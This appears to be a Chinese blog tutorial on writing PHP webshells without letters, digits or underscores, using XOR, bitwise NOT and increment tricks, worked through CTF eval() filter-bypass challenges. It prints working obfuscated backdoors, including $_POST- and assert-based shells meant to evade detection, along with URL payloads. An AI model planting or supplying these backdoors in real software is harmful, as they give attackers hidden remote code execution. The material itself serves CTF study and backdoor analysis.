首先要了解一下php中异或的用法

先看以下代码

echo "A"^"?";

?>

运行结果

图片.png

我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

比如像上面这个例子

A的ASCII值是65,对应的二进制值是01000001

?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是01111110,对应的ASCII值是126,对应的字符串的值就是~了

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

function B(){

echo "Hello world";

}

$_++;

$__= "?" ^ "}";

$__();

?>

图片.png

我们一起来分析一下上面这段代码:

$_++;这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

$__="?" ^ "}";对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量

$ __ ();通过上面的赋值操作,变量\$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello world。在PHP中,我们可以将字符串当作函数来处理。

看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

下面是个非常简单的非数字字母的PHP后门:

@$_++; // $_ = 1

$__=("#"^"|"); // $__ = _

$__.=("."^"~"); // _P

$__.=("/"^"`"); // _PO

$__.=("|"^"/"); // _POS

$__.=("{"^"/"); // _POST

${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);

?>

在这里我说明下,.=是字符串的连接,具体参看php语法

我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

不用数字和字母写shell的一道实例:

include 'flag.php';

if(isset($_GET['code'])){

$code = $_GET['code'];

if(strlen($code)>40){

die("Long.");

}

if(preg_match("/[A-Za-z0-9]+/",$code)){

die("NO.");

}

@eval($code);

}else{

highlight_file(__FILE__);

}

//$hint = "php function getFlag() to get flag";

?>

这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。

那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。

我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:

payload

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

这里的"`{{{"^"?<>/"是异或的简短写法,表示_GET。

${$_}[_](${$_}[__]);等于$_GET[_]($_GET[__]);也就等于getFlag()

把_当作参数传进去执行getFlag()

①构造_GET读取

首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:

echo "`{{{"^"?<>/";//_GET

?>

这段代码是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。

这里可以使用php中可以执行命令的反引号 和Linux下面的通配符?

? 代表匹配一个字符

` 表示执行命令

" 对特殊字符串进行解析

由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看

echo "{"^"

?>

输出为G

echo "{"^">";

?>

输出为E

echo "{"^"/";

?>

输出为T

所以_GET就是这么被构造出来的

②获取_GET参数

如何获取呢?咱们可以构造出如下字串:

echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])

?>

根据前面构造的来看,$_已经变成了_GET。

顺理成章的来讲,$_ = _GET这个字符串。

我们构建$_GET[ __ ]是为了要获取参数值

③传入参数

此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:

echo $_=getFlag;//getFlag

?>

所以把参数全部连接起来,就可以了~~

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

这里在本地搭了一个。。

image.png

image.png

可见命令能执行成功。。

不用数字,字母和下划线写shell的实例

include 'flag.php';

if(isset($_GET['code'])){

$code = $_GET['code'];

if(strlen($code)>50){

die("Too Long.");

}

if(preg_match("/[A-Za-z0-9_]+/",$code)){

die("Not Allowed.");

}

@eval($code);

}else{

highlight_file(__FILE__);

}

//$hint = "php function getFlag() to get flag";

?>

下划线都不给,意味着不能定义变量,而且也构造不出来数字。这是大佬给的payload,+号必须加引号

"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();

51个字符太长了,所以这里可以用简短的写法

('$').("`{{{"^"?<>/").(['+'])&+=getFlag();

不过这样不能成功。

大佬给出了解释:eval只能解析一遍代码,所以如果写的是a.b这样的字符串拼接,就只会执行这个拼接,并不会去执行代码

例如:

eval($_GET['b']) url里面 b=phpinfo(); 这时候相当于eval('phpinfo();')

eval($_GET['b']) url里面b=$_GET[c]&c=phpinfo(); 相当于eval('$_GET[c]')

上面的payload是code=$_GET['+']&+=getFlag(); ,也就是eval('$_GET['+'])并不会执行getFlag();

正确的payload为

${"`{{{"^"?<>/"}['+']();&+=getFlag

这里利用了${}中的代码是可以执行的特点,其实也就是可变变量。

$a = 'hello';

$$a = 'world';

echo "$a ${$a}";

?>

输出:hello world

${$a},括号中的$a是可以执行的,变成了hello。

payload中的{}也是这个原理,{}中用的是异或,^在{}中被执行了,也就是上面讲的”`{{{“^”?<>/”执行了异或操作,相当于_GET。

最后eva函数拼接出了字符串$_GET['+']();,然后传入+=getFlag,最后执行了函数getFlag();

大佬给出的payloadhttp://localhost/getflag.php?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

这里用的是取反

~在{}中执行了取反操作,所以${~"\xa0\xb8\xba\xab"}取反相当于$_GET。

跟上面的payload一个原理,拼接出了$_GET['+']();,传入+=getFlag()从而执行了函数。

image.png

还有一种拼接的payload

code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

image.png

原理大同小异,$啊=getFlag;$啊();,这里就不需要用{}了,因为取反的值直接被当作字符串赋值给了$啊。

PHP中取反(~)的概念

来看一个汉字”和”

print("和".encode('utf8'))

b'\xe5\x92\x8c'

print("和".encode('utf8')[2])

140

print(~"和".encode('utf8')[2])

-141

“和”的第三个字节的值为140[0x8c],取反的值为-141。

负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。

因此

$_="和";

print(~($_{2}));

print(~"\x8c");

?>

两个写法性质一样

结果会输出: ss

不用数字构造出数字

利用了PHP弱类型特性,true的值为1,故true+true==2。

$_=('>'>''>'

print($_)

print($_/$_)

结果会输出:2 1

在php中未定义的变量默认值为null,null==false==0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。

$_++;

print($_);

?>

结果会输出:1

不用数字和字母的 shell

在讲不用数字,字母和下划线写 shell 之前,先了解下不用数字和字母写 shell。毕竟学习都是循序渐进的。而且用不用下划线其实问题不大,因为 PHP 太灵活了。代码:

if(!preg_match('/[a-z0-9]/is',$_GET['shell']))

{ eval($_GET['shell']);}

思路

将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,如 "assert",然后动态执行即可。

非字母、数字的字符异或出字母

不可打印字符,用 url 编码表示。

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';

$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';

$___=$$__;

$_($___[_]); // assert($_POST[_]);

还可以用更短的字符,下面会用到。

"`{{{"^"?<>/"//_GET

^ 会对两边对应的字符串进行异或。

非字母、数字的字符取反出字母

利用的是 UTF-8 编码的某个汉字,将其中的某个字符取出来,取反为字母。一个汉字的 utf8 是三个字节,{2} 表示第 3 个字节

header("Content-Type:text/html;charset=utf-8");

$__=('>'>''>'

$_=$__/$__;//$_=1

$___="瞰";

$____="和";

print(~($___{$_}));

echo "
";

print(~($____{$__}));

$__=('>'>''>'

$_=$__/$__;//$_1

$____='';

$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST

$____($_[$__]);//assert($_POST[2])

这里也有一种简短的写法 ${~"\xa0\xb8\xba\xab"} 它等于 $_GET。这里相当于直接把 utf8 编码的某个字节提取出来统一进行取反。

递增/递减运算符

这种方法很明显的缺点就是需要大量的字符。

image

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

echo ' '.[]

?>

image.png

再取这个字符串的第一个字母,就可以获得'A'了。

php 字母数字下划线,CTF踩坑PHP编写一个不包含数字字母和下划线的后门相关推荐

  1. 记一次拿webshell踩过的坑(如何利用PHP编写一个不包含数字和字母的后门)

    转载自:https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html 0x01 前言 <?php include 'flag.php'; i ...

  2. 配合Opencv2.4.9,CMake3.12.1和VS2010在win10下构建项目踩坑记录

    配合Opencv3,CMake和VS2010在win10下构建项目踩坑记录 参考https://blog.csdn.net/qq_26623659/article/details/78322782 博 ...

  3. Windows环境下PyTorch_geometric安装踩坑

    Windows环境下PyTorch_geometric安装踩坑 pytorch geometric在windows环境下安装非常恶心,莫名其妙各种报错.本帖针对GCC的编译error提供解决方案. 一 ...

  4. 给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合。

    电话号码的字母组合 给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合. 给出数字到字母的映射如下(与电话按键相同).注意 1 不对应任何字母. 示例: 输入:"23" ...

  5. 算法---给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合

    题目 给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合.答案可以按 任意顺序 返回.给出数字到字母的映射如下(与电话按键相同).注意 1 不对应任何字母.示例 1:输入:digits ...

  6. 一个数组中只有两个数字是出现一次,其他所有数字都出现了两次。 编写一个函数找出这两个只出现一次的数字。

    一个数组中只有两个数字是出现一次,其他所有数字都出现了两次.编写一个函数找出这两个只出现一次的数字. 1.代码编写 2.结果 1.代码编写 代码如下(示例): #define _CRT_SECURE_ ...

  7. 给定一个只包含数字的字符串,复原它并返回所有可能的 IP 地址格式。

    给定一个只包含数字的字符串,复原它并返回所有可能的 IP 地址格式. 示例: 输入: "25525511135" 输出: ["255.255.11.135", ...

  8. layui.dtree下拉树踩坑

    提示:针对dtree版本v2.5.7 文章目录 前言-下拉树实现描述 一.单击选中bug 二.使用reload()重新加载数据(data方式) 三.实现reload,严格控制reload在init后, ...

  9. C语言计算数字乘积根,c语言,求任意一个整数各位数字之积

    点击查看c语言,求任意一个整数各位数字之积具体信息 答:求整数各位和,将整数各个位分离出来的方法(除10取模)很常用. 函数如下 int intsum(int n) { int sum = 0; wh ...

最新文章

  1. 如何在 1 秒内将 50 个 OpenCV 帧上传到云存储
  2. 实战部署MySQL用户认证的Postfix邮件系统(3)
  3. WCF双向通讯netTCP
  4. 好身材大姐姐学计算机惊喜用英语,英语作文:一个大大的惊喜A Big Surprise
  5. String练习代码保存
  6. 同一表单内设置两个或两个以上的提交按钮 Two submit buttons in one form
  7. 基于 CNN 和迁移学习的农作物病害识别方法研究
  8. FairyGUI1:FairyGUI 编辑器
  9. 在Linux环境下select函数的初体验
  10. 微信扫一扫二维码直接打开手机外部浏览器
  11. java short相加_为什么两个short类型相加会自动提升为int?
  12. 【无标题】PHP小皮中出现拒绝访问(使用密码:YES)
  13. 划分vlan实验心得体会_计算机网络实验心得体会_计算机网络实验工作感想
  14. P3488 [POI2009]LYZ-Ice Skates
  15. vue的jsx写法记录
  16. PCB模拟信号线与数字信号线布线技巧
  17. 基于C#实现的在线聊天室的桌面系统软件
  18. virgo tomcat
  19. 【LeetCode】【队列】剑指 Offer 59 - I. 滑动窗口的最大值 思路解析和代码
  20. 嵌入式linux开发,yasm移植,yasm-1.3.0交叉编译

热门文章

  1. 身份证OCR识别发展史
  2. 如何使用graphpad做柱形图_Graphpad Prism 8作图教程(2):XY图的属性设置
  3. 2023年2022年Cfa一级考纲变化分析
  4. eWebEditor 编辑器功能不能使用
  5. 熵、图像熵的意义及计算方法
  6. 自己写的java excel导出工具类
  7. mysql proxy atlas_mysql-proxy Atlas
  8. QT--HTTP图片下载器
  9. RabbitMQ 网页端控制台开启方式
  10. sigar获取进程信息